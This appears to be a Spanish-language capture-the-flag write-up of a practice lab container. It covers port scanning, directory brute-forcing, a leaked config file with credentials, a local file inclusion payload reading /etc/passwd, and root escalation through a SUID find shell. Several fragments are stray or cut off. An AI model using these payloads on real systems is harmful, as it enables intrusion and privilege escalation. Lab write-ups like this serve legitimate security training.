

## Laboratorio Rasca Cielos

Procedemos a realizar el escaneo:

```
nmap -sV -sC -O -p- -n -Pn 172.17.0.2
```

```
(samlab@Pentest)-[~/Escritorio/Laboratorios SUID]
$ nmap -sV -sC -O -p- -n -Pn 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-11 22:50 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000083s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 3a:26:35:55:25:55:73:0a:13:69:61:02:3e:11:c6:2a (RSA)
|   256 72:cf:57:9a:f5:d0:f3:ec:b5:17:2b:4a:86:00:d1:3b (ECDSA)
|_  256 4c:dd:0e:a7:62:40:6c:25:c8:a3:a8:5f:df:45:ce:d1 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 6A:22:1A:F3:33:C2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/11%OT=22%CT=1%CU=41080%PV=Y%DS=1%DC=D%G=Y%M=6A221A%T
OS:M=6A02A3AE%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10F%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=22)SEQ(SP=104%GCD=1%IS
OS:R=10C%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=21
OS:)SEQ(SP=FF%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=22)OPS(O1=M5B4ST11NWA%O2=M5B4
OS:ST11NWA%O3=M5B4NNT11NWA%O4=M5B4ST11NWA%O5=M5B4ST11NWA%O6=M5B4ST11)WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O
OS:=M5B4NNSNWA%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://n
Nmap done: 1 IP address (1 host up) scanned in 20.67 seconds
```

Se detecta que el puerto 22 está abierto con el servicio de ssh el cual apunta a un server OpenSSH 8.2p1 Ubuntu.

Se detecta también el puerto 80 con el servicio http el cual apunta a un server Apache 2.4.41 Ubuntu



## Apache2 Ubuntu Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at `/var/www/html/index.html`) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

### Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is **fully documented in `/usr/share/doc/apache2/README.Debian.gz`**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the `apache2-doc` package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

```
/etc/apache2/
|-- apache2.conf
|   |-- ports.conf
|-- mods-enabled
|   |-- *.load
|   |-- *.conf
|-- conf-enabled
|   |-- *.conf
|-- sites-enabled
|   |-- *.conf
```

- `apache2.conf` is the main configuration file. It puts the pieces together by including all remaining configuration files when starting up the web server.
- `ports.conf` is always included from the main configuration file. It is used to determine the listening ports for incoming connections, and this file can be customized anytime.
- Configuration files in the `mods-enabled/`, `conf-enabled/` and `sites-enabled/` directories contain particular configuration snippets which manage modules, global configuration fragments, or virtual host configurations, respectively.

Se procede a usar la herramienta de descubrimiento de directorios ocultos utilizando la siguiente línea:

`feroxbuster -u http://172.17.0.2:80 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x sh,js,php,env,bak,backup,old,html,gz,sql,txt,log -d 5 -t 5 --scan-dir-listings --extract-links -o feroxbuster_scan.txt`

```
FERRIC OXIDE
by Ben "epi" Risher ver: 2.13.1

Target Url      http://172.17.0.2/
In-Scope Url    172.17.0.2
Threads        5
Wordlist        /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
Status Codes    All Status Codes
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /home/samlab/.config/feroxbuster/ferox-config.toml
Extract Links   true
Output File     feroxbuster_scan.txt
Scan Dir Listings true
Extensions     [sh, js, php, env, bak, backup, old, html, gz, sql, txt, log]
HTTP methods    [GET]
Recursion Depth 5

Press [ENTER] to use the Scan Management Menu™

#####
GET 101 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
GET 91 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
GET 105l 307w 7146c http://172.17.0.2/index.php
GET 151 74w 6147c http://172.17.0.2/icons/ubuntu-logo.png
GET 375l 964w 10918c http://172.17.0.2/
GET 375l 964w 10918c http://172.17.0.2/index.html
GET 102l 299w 6906c http://172.17.0.2/contact.php
GET 105l 307w 7146c http://172.17.0.2/home.php
GET 103l 316w 7086c http://172.17.0.2/about.php
GET 64l 154w 5303c http://172.17.0.2/header.php
GET 27l 84w 938c http://172.17.0.2/footer.php
GET 10l 30w 214c http://172.17.0.2/.config/bak

##### - 3m 1554878/1554878 0s found:10 errors:0
##### - 3m 1554813/1554813 8878/s http://172.17.0.2/
```

Detectamos el siguiente link <http://172.17.0.2/.config.bak> , el cual descargamos el archivo y procedemos a leerlo:

```
1 <?php
2 // Configuración de base de datos – NO EXPONER
3 $db_host = "localhost";
4 $db_user = "admin";
5 $db_pass = "Sky2026!";
6 $db_name = "rascacielos_db";
7
8 // Credenciales sistema interno
9 $admin_pass = "Sky2026!";
10 ?>
11 |
```

No podemos conectarnos por SSH procedemos a indagar en el código de la página.

Al no poder conectarnos por ssh procedemos a revisar el código html de la página el cual detectamos cierta novedad que se puede hacer pruebas para ver si hay alguna vulnerabilidad que nos permita explotar.

Dentro del código podemos ver lo siguiente:

```
<li><a href="?page=home.php">Inicio</a></li>
<li><a href="?page=about.php">Nosotros</a></li>
<li><a href="?page=contact.php">Contacto</a></li>
```

Podemos hacer unas pruebas para un ataque LFI, LFI es una vulnerabilidad que permite a un atacante incluir archivos locales del PHP, sin la validación adecuada de la entrada del usuario.

Puede presentar parámetros sospechosos en la URL como por ejemplo:

page=

Procedemos a realizar una prueba real, esto nos permite ver si el backend php es vulnerable.

curl <http://172.17.0.2/index.php?page=../../../../etc/passwd>

```
(samlab@Pentest)-[~/Escritorio/Laboratorios SUID]
$ curl http://172.17.0.2/index.php?page=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
architect:x:1000:1000::/home/architect:/bin/bash
```

Detectamos el siguiente usuario:

```
architect:x:1000:1000::/home/architect:/bin/bash
```

Procedemos a conectarnos por ssh con el usuario encontrado, nos sale un error el cual indica que SSH que la clave del servidor cambió a respecto a lo que tiene guardado en el archivo `known_hosts`, para corregir esto ingresamos el siguiente comando:

```
ssh-keygen -f '/home/samlab/.ssh/known_hosts' -R '172.17.0.2'
```

Esto nos permite eliminar la clave antigua

Nos conectamos y hacemos una búsqueda de binarios SUID que nos servirá para poder escalar privilegios:

```
find / -perm -4000 -type f 2>/dev/null
```

```

architect@rascacielos:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/find
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/sudo

```

Encontramos un binario suid que es /usr/bin/find

Explotamos el binario con `find / -fprintf /path/to/output-file DATA -quit`

```

architect@rascacielos:~$ find . -exec /bin/sh -p \; -quit
# whoami root
whoami: extra operand 'root'
Try 'whoami --help' for more information.
# whoami
root
# ls -al /
total 72
drwxr-xr-x  1 root root 4096 May 12 04:38 .
drwxr-xr-x  1 root root 4096 May 12 04:38 ..
-rwxr-xr-x  1 root root    0 May 12 04:38 .dockerenv
lrwxrwxrwx  1 root root    7 Apr  4  2025 bin -> usr/bin
drwxr-xr-x  2 root root 4096 Apr 15  2020 boot
drwxr-xr-x 16 root root 3280 May 12 04:38 dev
drwxr-xr-x  1 root root 4096 May 12 04:38 etc
drwxr-xr-x  1 root root 4096 Mar  6 23:25 home
lrwxrwxrwx  1 root root    7 Apr  4  2025 lib -> usr/lib
lrwxrwxrwx  1 root root    9 Apr  4  2025 lib32 -> usr/lib32
lrwxrwxrwx  1 root root    9 Apr  4  2025 lib64 -> usr/lib64
lrwxrwxrwx  1 root root   10 Apr  4  2025 libx32 -> usr/libx32
drwxr-xr-x  2 root root 4096 Apr  4  2025 media
drwxr-xr-x  2 root root 4096 Apr  4  2025 mnt
drwxr-xr-x  2 root root 4096 Apr  4  2025 opt
dr-xr-xr-x 344 root root    0 May 12 04:38 proc
drwxr-xr-x  1 root root 4096 Mar  6 23:25 root
drwxr-xr-x  1 root root 4096 May 12 06:55 run
lrwxrwxrwx  1 root root    8 Apr  4  2025 sbin -> usr/sbin
drwxr-xr-x  2 root root 4096 Apr  4  2025 srv
-rwxrwxr-x  1 root root   88 Mar  6 22:48 start.sh
dr-xr-xr-x 13 root root    0 May 12 04:38 sys
drwxrwxrwt  1 root root 4096 May 12 04:38 tmp

```

Encontramos la flag.



```
# ls -al /root/
total 20
drwx----- 1 root root 4096 Mar  6 23:25 .
drwxr-xr-x 1 root root 4096 May 12 04:38 ..
-rw-r--r-- 1 root root 3106 Dec  5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec  5 2019 .profile
-rw----- 1 root root  40 Mar  6 23:25 flag.txt
# cat flag.txt
cat: flag.txt: No such file or directory
# cat /root/flag.txt
Rascacielos{L0c4l_F1l3_1nclus10n_pwn3d}
#
```

File re

This exec

## WHOAMI-LABS

### Entrena pentesting en escenarios reales.

Simula ataques · Documenta hallazgos · Progresas.

### Cargando imagen...

Imagen lista

### Desplegando laboratorio...

### ¡Listo para atacar!

Laboratorio: Rascacielos

Dificultad: ★★★★★ fácil

XP: 1

Objetivo: 172.17.0.2

Inicio: 2026-05-11 23:38:07 -0500

Flag (Rascacielos{ ... }): Rascacielos{L0c4l\_F1l3\_1nclus10n\_pwn3d}

### 🚩 ¡Objetivo comprometido!

Rascacielos completado exitosamente.

Hora: 2026-05-12 02:05:19 -0500

Tiempo total: 2h 27m 12s

### Presiona Ctrl+C para cerrar el laboratorio.

█

10- Y logramos conseguir la

```
# whoami
root
# ls
# cd /root
# ls
flag.txt
# cat flag.txt
Rascacielos{L0c4l_F1l3_1nc
```